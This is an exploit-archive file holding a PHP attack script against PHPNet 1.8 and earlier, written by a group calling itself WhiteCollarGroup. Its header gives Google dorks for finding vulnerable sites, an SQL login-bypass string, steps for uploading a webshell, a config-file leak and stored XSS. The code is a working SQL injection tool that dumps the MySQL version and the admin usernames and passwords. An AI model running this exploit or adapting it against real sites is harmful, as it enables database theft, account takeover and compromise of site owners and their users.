/exploits/php/webapps/19007.php
PHP | 126 lines | 77 code | 7 blank | 42 comment | 3 complexity | 2d4c4d0ed627482fa49048faf6186469 MD5 | raw file
Possible License(s): GPL-2.0
- <?php
- # Exploit Title: PHPNet <= 1.8 (ler.php) SQL Injection
- # Exploit Author: WhiteCollarGroup
- # Date: 06th 06 2012
- # Vendor homepage: http://www.phpnet.com.br/
- # Software Link: http://phpbrasil.com/script/Wb03ErMczAho/phpnetartigos
- # Google Dork: intext:"Powerd by Nielson Rocha"
- # Google Dork: inurl:"ler.php?id=" intext:"Voltar - Imprimir"
- # Version: 1.8
- # Tested on: Debian GNU/Linux,Windows 7 Ultimate
-
- /*
- We discovered multiple vulnerabilities on the system.
-
- ~> SQL Injection
- This exploit is for a vulnerability in ler.php, but are the same vulnerability on imprimir.php and imagem.php.
- ler.php?id=[SQLi]
- imprimir.php?id=[SQLi]
- imagem.php?id=[SQLi]
-
- Usage:
- php file.php http://server/path/
-
- ~> Login bypass
- In login page, you can bypass the login using "SQLi strings".
- Go to http://server/path/admin/login.php
-
- Login: ' or 1=1-- wc
- Pass: wcgroup
-
- ~> Arbitraty File Upload
- After open administration panel, try to add a new article.
- Use the upload form to upload your webshell.
- After posting, access:
- http://server/path/tmp/your_shell_filename.php
-
- ~> Information disclosure
- Access:
- http://server/path/conf/config.ini
-
- ~> XSS Stored (persistent)
- When posting a new article, you can post (D)HTML/Javascript codes on the page.
-
- */
-
- function _printf($str) {
- echo $str."\n";
- }
-
- function hex($string){
- $hex=''; // PHP 'Dim' =]
- for ($i=0; $i < strlen($string); $i++){
- $hex .= dechex(ord($string[$i]));
- }
- return '0x'.$hex;
- }
-
- set_time_limit(0);
- error_reporting(E_ERROR & E_USER_WARNING);
- @ini_set('default_socket_timeout', 30);
- echo "\n";
-
- echo "PHPNet <= 1.8 SQLi Exploit\n";
- echo "Discovered by WhiteCollarGroup\n";
- echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com";
- if($argc!=2) {
- _printf("Usage:");
- _printf("php $argv[0] <target>");
- _printf("Example:");
- _printf("php $argv[0] http://site.com/path/");
- exit;
- }
-
- $target = $argv[1];
- if(substr($target, (strlen($target)-1))!="/") { // se o ultimo caractere nao for uma barra
- $target .= "/";
- }
-
- $inject = $target . "ler.php?id=-0'%20";
-
- $token = uniqid();
- $token_hex = hex($token);
-
- // vamos agora obter os seguintes dados: user() version()
- echo "\n\n[*] Trying to get informations...\n";
-
- $infos = file_get_contents($inject.urlencode("union all select 1,2,3,4,concat(".$token_hex.",version(),".$token_hex.",user(),".$token_hex."),6,7,8-- "));
- $infos_r = array();
- preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
- $user = $infos_r[1][0];
- $version = $infos_r[2][0];
- if(($user) AND ($version))
- {
- echo "[!] MySQL user: $user\n";
- echo "[!] MySQL version: $version\n";
- }
- else
- {
- echo "[-] Error while getting informations...\n";
- }
-
- $i = 0;
- while(1==1) {
- $dados_r = array();
- $dados = file_get_contents($inject.urlencode("union all select 1,2,3,4,concat(".$token_hex.",admin_user,".$token_hex.",admin_pass,".$token_hex."),6,7,8 from pna_admin limit $i,1-- "));
- preg_match_all("/$token(.*)$token(.*)$token/", $dados, $dados_r);
- $login = $dados_r[1][0];
- $senha = $dados_r[2][0];
- if(($login) AND ($senha)) {
- echo " -+-\n";
- echo "[!] User: $login\n";
- echo "[!] Pass: $senha\n";
- $i++;
- } else {
- break; // exitloop
- }
-
- if($i==0) {
- echo "[-] Exploit failed. Make sure that's server is using a valid version of PHPNet without mod_security. We're sorry.";
- } else {
- echo " -+-\n[!] :D";
- }
- echo "\n";
- }
-
- ?>